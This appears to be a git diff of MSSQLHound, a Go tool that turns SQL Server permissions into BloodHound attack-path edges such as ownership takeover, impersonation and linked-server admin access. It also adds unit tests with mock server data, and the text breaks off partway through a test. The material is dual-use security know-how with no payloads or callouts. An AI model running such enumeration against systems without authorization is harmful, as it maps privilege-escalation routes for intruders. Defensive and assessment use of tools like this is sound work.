+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ExecuteAs,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetName,
+ TargetType: bloodhound.NodeKinds.DatabaseUser,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ break
+
+ case "TAKE OWNERSHIP":
+ // TAKE OWNERSHIP on the database
+ if perm.ClassDesc == "DATABASE" {
+ // Create TakeOwnership edge to the database (non-traversable)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.TakeOwnership,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // TAKE OWNERSHIP on database also grants ChangeOwner to all database roles
+ for _, targetRole := range db.DatabasePrincipals {
+ if targetRole.TypeDescription == "DATABASE_ROLE" {
+ changeOwnerEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(changeOwnerEdge); err != nil {
+ return err
+ }
+ }
+ }
+ } else if perm.TargetObjectIdentifier != "" {
+ // TAKE OWNERSHIP on a specific object
+ // Find the target principal
+ var targetPrincipal *types.DatabasePrincipal
+ for idx := range db.DatabasePrincipals {
+ if db.DatabasePrincipals[idx].ObjectIdentifier == perm.TargetObjectIdentifier {
+ targetPrincipal = &db.DatabasePrincipals[idx]
+ break
+ }
+ }
+
+ if targetPrincipal != nil {
+ // Create TakeOwnership edge (non-traversable)
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.TakeOwnership,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: c.getDatabasePrincipalType(targetPrincipal.TypeDescription),
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // If target is a DATABASE_ROLE, also create ChangeOwner edge
+ if targetPrincipal.TypeDescription == "DATABASE_ROLE" {
+ changeOwnerEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ perm.TargetObjectIdentifier,
+ bloodhound.EdgeKinds.ChangeOwner,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: c.getDatabasePrincipalType(principal.TypeDescription),
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ Permission: perm.Permission,
+ },
+ )
+ if err := writer.WriteEdge(changeOwnerEdge); err != nil {
+ return err
+ }
+ }
+ }
+ }
+ break
+ }
+ }
+ }
+
+ return nil
+}
+
+// createEdge creates a BloodHound edge with properties.
+// Returns nil if the edge is non-traversable and IncludeNontraversableEdges is false,
+// matching PowerShell's Add-Edge behavior which drops non-traversable edges entirely.
+func (c *Collector) createEdge(sourceID, targetID, kind string, ctx *bloodhound.EdgeContext) *bloodhound.Edge {
+ props := bloodhound.GetEdgeProperties(kind, ctx)
+
+ // Apply MakeInterestingEdgesTraversable overrides before filtering
+ if c.config.MakeInterestingEdgesTraversable {
+ switch kind {
+ case bloodhound.EdgeKinds.LinkedTo,
+ bloodhound.EdgeKinds.IsTrustedBy,
+ bloodhound.EdgeKinds.ServiceAccountFor,
+ bloodhound.EdgeKinds.HasDBScopedCred,
+ bloodhound.EdgeKinds.HasMappedCred,
+ bloodhound.EdgeKinds.HasProxyCred:
+ props["traversable"] = true
+ }
+ }
+
+ // Drop non-traversable edges when IncludeNontraversableEdges is false
+ // This matches PowerShell's Add-Edge behavior which returns early (drops the edge)
+ // when the edge is non-traversable and IncludeNontraversableEdges is disabled
+ if !c.config.IncludeNontraversableEdges {
+ if traversable, ok := props["traversable"].(bool); ok && !traversable {
+ return nil
+ }
+ }
+
+ return &bloodhound.Edge{
+ Start: bloodhound.EdgeEndpoint{Value: sourceID},
+ End: bloodhound.EdgeEndpoint{Value: targetID},
+ Kind: kind,
+ Properties: props,
+ }
+}
+
+// getServerPrincipalType returns the BloodHound node type for a server principal
+func (c *Collector) getServerPrincipalType(typeDesc string) string {
+ switch typeDesc {
+ case "SERVER_ROLE":
+ return bloodhound.NodeKinds.ServerRole
+ default:
+ return bloodhound.NodeKinds.Login
+ }
+}
+
+// getDatabasePrincipalType returns the BloodHound node type for a database principal
+func (c *Collector) getDatabasePrincipalType(typeDesc string) string {
+ switch typeDesc {
+ case "DATABASE_ROLE":
+ return bloodhound.NodeKinds.DatabaseRole
+ case "APPLICATION_ROLE":
+ return bloodhound.NodeKinds.ApplicationRole
+ default:
+ return bloodhound.NodeKinds.DatabaseUser
+ }
+}
+
+// createZipFile creates the final zip file from all output files
+func (c *Collector) createZipFile() (string, error) {
+ timestamp := time.Now().Format("20060102-150405")
+ zipDir := c.config.ZipDir
+ if zipDir == "" {
+ zipDir = "."
+ }
+
+ zipPath := filepath.Join(zipDir, fmt.Sprintf("mssql-bloodhound-%s.zip", timestamp))
+
+ zipFile, err := os.Create(zipPath)
+ if err != nil {
+ return "", err
+ }
+ defer zipFile.Close()
+
+ zipWriter := zip.NewWriter(zipFile)
+ defer zipWriter.Close()
+
+ for _, filePath := range c.outputFiles {
+ if err := addFileToZip(zipWriter, filePath); err != nil {
+ return "", fmt.Errorf("failed to add %s to zip: %w", filePath, err)
+ }
+ }
+
+ return zipPath, nil
+}
+
+// addFileToZip adds a file to a zip archive
+func addFileToZip(zipWriter *zip.Writer, filePath string) error {
+ file, err := os.Open(filePath)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ info, err := file.Stat()
+ if err != nil {
+ return err
+ }
+
+ header, err := zip.FileInfoHeader(info)
+ if err != nil {
+ return err
+ }
+ header.Name = filepath.Base(filePath)
+ header.Method = zip.Deflate
+
+ writer, err := zipWriter.CreateHeader(header)
+ if err != nil {
+ return err
+ }
+
+ _, err = io.Copy(writer, file)
+ return err
+}
+
+// generateFilename creates a filename matching PowerShell naming convention
+// Format: mssql-{hostname}[_{port}][_{instance}].json
+// - Port 1433 is omitted
+// - Instance "MSSQLSERVER" is omitted
+// - Uses underscore (_) as separator, not hyphen
+func (c *Collector) generateFilename(server *ServerToProcess) string {
+ parts := []string{server.Hostname}
+
+ // Add port only if not 1433
+ if server.Port != 1433 {
+ parts = append(parts, strconv.Itoa(server.Port))
+ }
+
+ // Add instance only if not default
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ parts = append(parts, server.InstanceName)
+ }
+
+ // Join with underscore and sanitize
+ cleanedName := strings.Join(parts, "_")
+ // Replace problematic filename characters with underscore (matching PS behavior)
+ replacer := strings.NewReplacer(
+ "\\", "_",
+ "/", "_",
+ ":", "_",
+ "*", "_",
+ "?", "_",
+ "\"", "_",
+ "<", "_",
+ ">", "_",
+ "|", "_",
+ )
+ cleanedName = replacer.Replace(cleanedName)
+
+ return fmt.Sprintf("mssql-%s.json", cleanedName)
+}
+
+// sanitizeFilename makes a string safe for use as a filename
+func sanitizeFilename(s string) string {
+ // Replace problematic characters
+ replacer := strings.NewReplacer(
+ "\\", "-",
+ "/", "-",
+ ":", "-",
+ "*", "-",
+ "?", "-",
+ "\"", "-",
+ "<", "-",
+ ">", "-",
+ "|", "-",
+ )
+ return replacer.Replace(s)
+}
+
+// logVerbose logs a message only if verbose mode is enabled
+func (c *Collector) logVerbose(format string, args ...interface{}) {
+ if c.config.Verbose {
+ fmt.Printf(format+"\n", args...)
+ }
+}
+
+// getMemoryUsage returns a string describing current memory usage
+func (c *Collector) getMemoryUsage() string {
+ var m runtime.MemStats
+ runtime.ReadMemStats(&m)
+
+ // Get allocated memory in GB
+ allocatedGB := float64(m.Alloc) / 1024 / 1024 / 1024
+
+ // Try to get system memory info (this is a rough estimate)
+ // On Windows, we'd ideally use syscall but this gives a basic view
+ sysGB := float64(m.Sys) / 1024 / 1024 / 1024
+
+ return fmt.Sprintf("%.2fGB allocated (%.2fGB system)", allocatedGB, sysGB)
+}
diff --git a/internal/collector/collector_test.go b/internal/collector/collector_test.go
new file mode 100644
index 0000000..92dd375
--- /dev/null
+++ b/internal/collector/collector_test.go
@@ -0,0 +1,961 @@
+// Package collector provides unit tests for MSSQL data collection and edge creation.
+package collector
+
+import (
+ "encoding/json"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/bloodhound"
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+)
+
+// TestEdgeCreation tests that edges are created correctly for various scenarios
+func TestEdgeCreation(t *testing.T) {
+ // Create a temporary directory for output
+ tmpDir, err := os.MkdirTemp("", "mssqlhound-test")
+ if err != nil {
+ t.Fatalf("Failed to create temp dir: %v", err)
+ }
+ defer os.RemoveAll(tmpDir)
+
+ // Create a mock server info with test data
+ serverInfo := createMockServerInfo()
+
+ // Create collector with minimal config
+ config := &Config{
+ TempDir: tmpDir,
+ IncludeNontraversableEdges: true,
+ }
+ c := New(config)
+
+ // Create output file
+ outputPath := filepath.Join(tmpDir, "test-output.json")
+ writer, err := bloodhound.NewStreamingWriter(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to create writer: %v", err)
+ }
+
+ // Write nodes first (manually since createNodes is private)
+ // Server node
+ serverNode := c.createServerNode(serverInfo)
+ if err := writer.WriteNode(serverNode); err != nil {
+ t.Fatalf("Failed to write server node: %v", err)
+ }
+
+ // Database nodes
+ for _, db := range serverInfo.Databases {
+ dbNode := c.createDatabaseNode(&db, serverInfo)
+ if err := writer.WriteNode(dbNode); err != nil {
+ t.Fatalf("Failed to write database node: %v", err)
+ }
+
+ // Database principal nodes
+ for _, principal := range db.DatabasePrincipals {
+ principalNode := c.createDatabasePrincipalNode(&principal, &db, serverInfo)
+ if err := writer.WriteNode(principalNode); err != nil {
+ t.Fatalf("Failed to write database principal node: %v", err)
+ }
+ }
+ }
+
+ // Server principal nodes
+ for _, principal := range serverInfo.ServerPrincipals {
+ principalNode := c.createServerPrincipalNode(&principal, serverInfo)
+ if err := writer.WriteNode(principalNode); err != nil {
+ t.Fatalf("Failed to write server principal node: %v", err)
+ }
+ }
+
+ // Create edges
+ if err := c.createEdges(writer, serverInfo); err != nil {
+ t.Fatalf("Failed to create edges: %v", err)
+ }
+
+ // Create fixed role edges
+ if err := c.createFixedRoleEdges(writer, serverInfo); err != nil {
+ t.Fatalf("Failed to create fixed role edges: %v", err)
+ }
+
+ // Close writer
+ if err := writer.Close(); err != nil {
+ t.Fatalf("Failed to close writer: %v", err)
+ }
+
+ // Read and verify output
+ nodes, edges, err := bloodhound.ReadFromFile(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to read output: %v", err)
+ }
+
+ // Verify expected edges exist
+ verifyEdges(t, edges, nodes)
+}
+
+// createMockServerInfo creates a mock ServerInfo for testing
+func createMockServerInfo() *types.ServerInfo {
+ domainSID := "S-1-5-21-1234567890-1234567890-1234567890"
+ serverSID := domainSID + "-1001"
+ serverOID := serverSID + ":1433"
+
+ return &types.ServerInfo{
+ ObjectIdentifier: serverOID,
+ Hostname: "testserver",
+ ServerName: "TESTSERVER",
+ SQLServerName: "testserver.domain.com:1433",
+ InstanceName: "MSSQLSERVER",
+ Port: 1433,
+ Version: "Microsoft SQL Server 2019",
+ VersionNumber: "15.0.2000.5",
+ IsMixedModeAuth: true,
+ ForceEncryption: "No",
+ ExtendedProtection: "Off",
+ ComputerSID: serverSID,
+ DomainSID: domainSID,
+ FQDN: "testserver.domain.com",
+ ServiceAccounts: []types.ServiceAccount{
+ {
+ Name: "DOMAIN\\sqlservice",
+ ServiceName: "SQL Server (MSSQLSERVER)",
+ ServiceType: "SQLServer",
+ SID: "S-1-5-21-1234567890-1234567890-1234567890-2001",
+ ObjectIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-2001",
+ },
+ },
+ Credentials: []types.Credential{
+ {
+ CredentialID: 1,
+ Name: "TestCredential",
+ CredentialIdentity: "DOMAIN\\creduser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001",
+ CreateDate: time.Now(),
+ ModifyDate: time.Now(),
+ },
+ },
+ ProxyAccounts: []types.ProxyAccount{
+ {
+ ProxyID: 1,
+ Name: "TestProxy",
+ CredentialID: 1,
+ CredentialIdentity: "DOMAIN\\proxyuser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5002",
+ Enabled: true,
+ Subsystems: []string{"CmdExec", "PowerShell"},
+ Logins: []string{"TestLogin_WithProxy"},
+ },
+ },
+ ServerPrincipals: []types.ServerPrincipal{
+ // sa login
+ {
+ ObjectIdentifier: "sa@" + serverOID,
+ PrincipalID: 1,
+ Name: "sa",
+ TypeDescription: "SQL_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "",
+ IsActiveDirectoryPrincipal: false,
+ SQLServerName: "testserver.domain.com:1433",
+ MemberOf: []types.RoleMembership{
+ {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3},
+ },
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // public role
+ {
+ ObjectIdentifier: "public@" + serverOID,
+ PrincipalID: 2,
+ Name: "public",
+ TypeDescription: "SERVER_ROLE",
+ IsDisabled: false,
+ IsFixedRole: true,
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ // sysadmin role
+ {
+ ObjectIdentifier: "sysadmin@" + serverOID,
+ PrincipalID: 3,
+ Name: "sysadmin",
+ TypeDescription: "SERVER_ROLE",
+ IsDisabled: false,
+ IsFixedRole: true,
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ // securityadmin role
+ {
+ ObjectIdentifier: "securityadmin@" + serverOID,
+ PrincipalID: 4,
+ Name: "securityadmin",
+ TypeDescription: "SERVER_ROLE",
+ IsDisabled: false,
+ IsFixedRole: true,
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ // Domain user login with sysadmin
+ {
+ ObjectIdentifier: "DOMAIN\\testadmin@" + serverOID,
+ PrincipalID: 256,
+ Name: "DOMAIN\\testadmin",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1100",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ MemberOf: []types.RoleMembership{
+ {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3},
+ },
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Domain user login with CONTROL SERVER
+ {
+ ObjectIdentifier: "DOMAIN\\controluser@" + serverOID,
+ PrincipalID: 257,
+ Name: "DOMAIN\\controluser",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1101",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ {Permission: "CONTROL SERVER", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Login with IMPERSONATE ANY LOGIN
+ {
+ ObjectIdentifier: "DOMAIN\\impersonateuser@" + serverOID,
+ PrincipalID: 258,
+ Name: "DOMAIN\\impersonateuser",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1102",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ {Permission: "IMPERSONATE ANY LOGIN", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Login with mapped credential
+ {
+ ObjectIdentifier: "TestLogin_WithCred@" + serverOID,
+ PrincipalID: 259,
+ Name: "TestLogin_WithCred",
+ TypeDescription: "SQL_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "",
+ IsActiveDirectoryPrincipal: false,
+ SQLServerName: "testserver.domain.com:1433",
+ MappedCredential: &types.Credential{
+ CredentialID: 1,
+ Name: "TestCredential",
+ CredentialIdentity: "DOMAIN\\creduser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001",
+ },
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Login authorized to use proxy
+ {
+ ObjectIdentifier: "TestLogin_WithProxy@" + serverOID,
+ PrincipalID: 260,
+ Name: "TestLogin_WithProxy",
+ TypeDescription: "SQL_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "",
+ IsActiveDirectoryPrincipal: false,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ },
+ Databases: []types.Database{
+ {
+ ObjectIdentifier: serverOID + "\\master",
+ DatabaseID: 1,
+ Name: "master",
+ OwnerLoginName: "sa",
+ OwnerObjectIdentifier: "sa@" + serverOID,
+ IsTrustworthy: false,
+ SQLServerName: "testserver.domain.com:1433",
+ DatabasePrincipals: []types.DatabasePrincipal{
+ {
+ ObjectIdentifier: "dbo@" + serverOID + "\\master",
+ PrincipalID: 1,
+ Name: "dbo",
+ TypeDescription: "SQL_USER",
+ DatabaseName: "master",
+ SQLServerName: "testserver.domain.com:1433",
+ ServerLogin: &types.ServerLoginRef{
+ ObjectIdentifier: "sa@" + serverOID,
+ Name: "sa",
+ PrincipalID: 1,
+ },
+ },
+ {
+ ObjectIdentifier: "db_owner@" + serverOID + "\\master",
+ PrincipalID: 16384,
+ Name: "db_owner",
+ TypeDescription: "DATABASE_ROLE",
+ IsFixedRole: true,
+ DatabaseName: "master",
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ },
+ },
+ // Trustworthy database for ExecuteAsOwner test
+ {
+ ObjectIdentifier: serverOID + "\\TrustDB",
+ DatabaseID: 5,
+ Name: "TrustDB",
+ OwnerLoginName: "DOMAIN\\testadmin",
+ OwnerObjectIdentifier: "DOMAIN\\testadmin@" + serverOID,
+ IsTrustworthy: true,
+ SQLServerName: "testserver.domain.com:1433",
+ DatabasePrincipals: []types.DatabasePrincipal{
+ {
+ ObjectIdentifier: "dbo@" + serverOID + "\\TrustDB",
+ PrincipalID: 1,
+ Name: "dbo",
+ TypeDescription: "SQL_USER",
+ DatabaseName: "TrustDB",
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ },
+ },
+ // Database with DB-scoped credential
+ {
+ ObjectIdentifier: serverOID + "\\CredDB",
+ DatabaseID: 6,
+ Name: "CredDB",
+ OwnerLoginName: "sa",
+ OwnerObjectIdentifier: "sa@" + serverOID,
+ IsTrustworthy: false,
+ SQLServerName: "testserver.domain.com:1433",
+ DBScopedCredentials: []types.DBScopedCredential{
+ {
+ CredentialID: 1,
+ Name: "DBScopedCred",
+ CredentialIdentity: "DOMAIN\\dbcreduser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5003",
+ CreateDate: time.Now(),
+ ModifyDate: time.Now(),
+ },
+ },
+ },
+ },
+ LinkedServers: []types.LinkedServer{
+ {
+ ServerID: 1,
+ Name: "LINKED_SERVER",
+ Product: "SQL Server",
+ Provider: "SQLNCLI11",
+ DataSource: "linkedserver.domain.com",
+ IsLinkedServer: true,
+ IsRPCOutEnabled: true,
+ IsDataAccessEnabled: true,
+ },
+ // Linked server with admin privileges for LinkedAsAdmin test
+ {
+ ServerID: 2,
+ Name: "ADMIN_LINKED_SERVER",
+ Product: "SQL Server",
+ Provider: "SQLNCLI11",
+ DataSource: "adminlinkedserver.domain.com",
+ IsLinkedServer: true,
+ IsRPCOutEnabled: true,
+ IsDataAccessEnabled: true,
+ RemoteLogin: "admin_sql_login",
+ RemoteIsSysadmin: true,
+ RemoteIsMixedMode: true,
+ ResolvedObjectIdentifier: "S-1-5-21-9999999999-9999999999-9999999999-1001:1433",
+ },
+ },
+ }
+}
+
+// createMockServerInfoWithComputerLogin creates a mock ServerInfo with a computer account login
+// for testing CoerceAndRelayToMSSQL edge
+func createMockServerInfoWithComputerLogin() *types.ServerInfo {
+ info := createMockServerInfo()
+ serverOID := info.ObjectIdentifier
+
+ // Add a computer account login
+ info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{
+ ObjectIdentifier: "DOMAIN\\WORKSTATION1$@" + serverOID,
+ PrincipalID: 500,
+ Name: "DOMAIN\\WORKSTATION1$",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-3001",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ })
+
+ return info
+}
+
+// verifyEdges checks that all expected edges are present
+func verifyEdges(t *testing.T, edges []bloodhound.Edge, nodes []bloodhound.Node) {
+ // Build edge lookup
+ edgesByKind := make(map[string][]bloodhound.Edge)
+ for _, edge := range edges {
+ edgesByKind[edge.Kind] = append(edgesByKind[edge.Kind], edge)
+ }
+
+ // Test: MSSQL_Contains edges
+ t.Run("Contains edges", func(t *testing.T) {
+ containsEdges := edgesByKind[bloodhound.EdgeKinds.Contains]
+ if len(containsEdges) == 0 {
+ t.Error("Expected MSSQL_Contains edges, got none")
+ }
+ // Check server contains databases
+ found := false
+ for _, e := range containsEdges {
+ if strings.HasSuffix(e.End.Value, "\\master") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_Contains edge from server to master database")
+ }
+ })
+
+ // Test: MSSQL_MemberOf edges
+ t.Run("MemberOf edges", func(t *testing.T) {
+ memberOfEdges := edgesByKind[bloodhound.EdgeKinds.MemberOf]
+ if len(memberOfEdges) == 0 {
+ t.Error("Expected MSSQL_MemberOf edges, got none")
+ }
+ // Check sa is member of sysadmin
+ found := false
+ for _, e := range memberOfEdges {
+ if strings.HasPrefix(e.Start.Value, "sa@") && strings.Contains(e.End.Value, "sysadmin@") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_MemberOf edge from sa to sysadmin")
+ }
+ })
+
+ // Test: MSSQL_Owns edges
+ t.Run("Owns edges", func(t *testing.T) {
+ ownsEdges := edgesByKind[bloodhound.EdgeKinds.Owns]
+ if len(ownsEdges) == 0 {
+ t.Error("Expected MSSQL_Owns edges, got none")
+ }
+ })
+
+ // Test: MSSQL_ControlServer edges (from sysadmin role)
+ t.Run("ControlServer edges", func(t *testing.T) {
+ controlServerEdges := edgesByKind[bloodhound.EdgeKinds.ControlServer]
+ if len(controlServerEdges) == 0 {
+ t.Error("Expected MSSQL_ControlServer edges, got none")
+ }
+ // Check sysadmin has ControlServer
+ found := false
+ for _, e := range controlServerEdges {
+ if strings.Contains(e.Start.Value, "sysadmin@") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_ControlServer edge from sysadmin")
+ }
+ })
+
+ // Test: MSSQL_ImpersonateAnyLogin edges
+ t.Run("ImpersonateAnyLogin edges", func(t *testing.T) {
+ impersonateEdges := edgesByKind[bloodhound.EdgeKinds.ImpersonateAnyLogin]
+ if len(impersonateEdges) == 0 {
+ t.Error("Expected MSSQL_ImpersonateAnyLogin edges, got none")
+ }
+ })
+
+ // Test: MSSQL_HasLogin edges
+ t.Run("HasLogin edges", func(t *testing.T) {
+ hasLoginEdges := edgesByKind[bloodhound.EdgeKinds.HasLogin]
+ if len(hasLoginEdges) == 0 {
+ t.Error("Expected MSSQL_HasLogin edges, got none")
+ }
+ // Check domain user has login
+ found := false
+ for _, e := range hasLoginEdges {
+ if strings.HasPrefix(e.Start.Value, "S-1-5-21-") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_HasLogin edge from AD SID to login")
+ }
+ })
+
+ // Test: MSSQL_ServiceAccountFor edges
+ t.Run("ServiceAccountFor edges", func(t *testing.T) {
+ saEdges := edgesByKind[bloodhound.EdgeKinds.ServiceAccountFor]
+ if len(saEdges) == 0 {
+ t.Error("Expected MSSQL_ServiceAccountFor edges, got none")
+ }
+ })
+
+ // Test: MSSQL_GetAdminTGS edges
+ t.Run("GetAdminTGS edges", func(t *testing.T) {
+ getAdminTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetAdminTGS]
+ if len(getAdminTGSEdges) == 0 {
+ t.Error("Expected MSSQL_GetAdminTGS edges, got none")
+ }
+ })
+
+ // Test: MSSQL_GetTGS edges
+ t.Run("GetTGS edges", func(t *testing.T) {
+ getTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetTGS]
+ if len(getTGSEdges) == 0 {
+ t.Error("Expected MSSQL_GetTGS edges, got none")
+ }
+ })
+
+ // Test: MSSQL_IsTrustedBy edges (for trustworthy database)
+ t.Run("IsTrustedBy edges", func(t *testing.T) {
+ trustEdges := edgesByKind[bloodhound.EdgeKinds.IsTrustedBy]
+ if len(trustEdges) == 0 {
+ t.Error("Expected MSSQL_IsTrustedBy edges for trustworthy database, got none")
+ }
+ })
+
+ // Test: MSSQL_ExecuteAsOwner edges (for trustworthy database owned by sysadmin)
+ t.Run("ExecuteAsOwner edges", func(t *testing.T) {
+ executeAsOwnerEdges := edgesByKind[bloodhound.EdgeKinds.ExecuteAsOwner]
+ if len(executeAsOwnerEdges) == 0 {
+ t.Error("Expected MSSQL_ExecuteAsOwner edges for trustworthy database, got none")
+ }
+ })
+
+ // Test: MSSQL_HasMappedCred edges
+ t.Run("HasMappedCred edges", func(t *testing.T) {
+ credEdges := edgesByKind[bloodhound.EdgeKinds.HasMappedCred]
+ if len(credEdges) == 0 {
+ t.Error("Expected MSSQL_HasMappedCred edges, got none")
+ }
+ })
+
+ // Test: MSSQL_HasProxyCred edges
+ t.Run("HasProxyCred edges", func(t *testing.T) {
+ proxyEdges := edgesByKind[bloodhound.EdgeKinds.HasProxyCred]
+ if len(proxyEdges) == 0 {
+ t.Error("Expected MSSQL_HasProxyCred edges, got none")
+ }
+ })
+
+ // Test: MSSQL_HasDBScopedCred edges
+ t.Run("HasDBScopedCred edges", func(t *testing.T) {
+ dbCredEdges := edgesByKind[bloodhound.EdgeKinds.HasDBScopedCred]
+ if len(dbCredEdges) == 0 {
+ t.Error("Expected MSSQL_HasDBScopedCred edges, got none")
+ }
+ })
+
+ // Test: MSSQL_LinkedTo edges
+ t.Run("LinkedTo edges", func(t *testing.T) {
+ linkedEdges := edgesByKind[bloodhound.EdgeKinds.LinkedTo]
+ if len(linkedEdges) == 0 {
+ t.Error("Expected MSSQL_LinkedTo edges, got none")
+ }
+ })
+
+ // Test: MSSQL_LinkedAsAdmin edges (for linked server with admin privileges)
+ t.Run("LinkedAsAdmin edges", func(t *testing.T) {
+ linkedAdminEdges := edgesByKind[bloodhound.EdgeKinds.LinkedAsAdmin]
+ if len(linkedAdminEdges) == 0 {
+ t.Error("Expected MSSQL_LinkedAsAdmin edges for linked server with admin login, got none")
+ }
+ })
+
+ // Test: MSSQL_IsMappedTo edges (login to database user)
+ t.Run("IsMappedTo edges", func(t *testing.T) {
+ mappedEdges := edgesByKind[bloodhound.EdgeKinds.IsMappedTo]
+ if len(mappedEdges) == 0 {
+ t.Error("Expected MSSQL_IsMappedTo edges, got none")
+ }
+ })
+
+ // Print summary
+ t.Logf("Total nodes: %d, Total edges: %d", len(nodes), len(edges))
+ t.Logf("Edge counts by type:")
+ for kind, kindEdges := range edgesByKind {
+ t.Logf(" %s: %d", kind, len(kindEdges))
+ }
+}
+
+// TestEdgeProperties tests that edge properties are correctly set
+func TestEdgeProperties(t *testing.T) {
+ tests := []struct {
+ name string
+ edgeKind string
+ ctx *bloodhound.EdgeContext
+ }{
+ {
+ name: "MemberOf edge",
+ edgeKind: bloodhound.EdgeKinds.MemberOf,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "testuser",
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: "sysadmin",
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "ServiceAccountFor edge",
+ edgeKind: bloodhound.EdgeKinds.ServiceAccountFor,
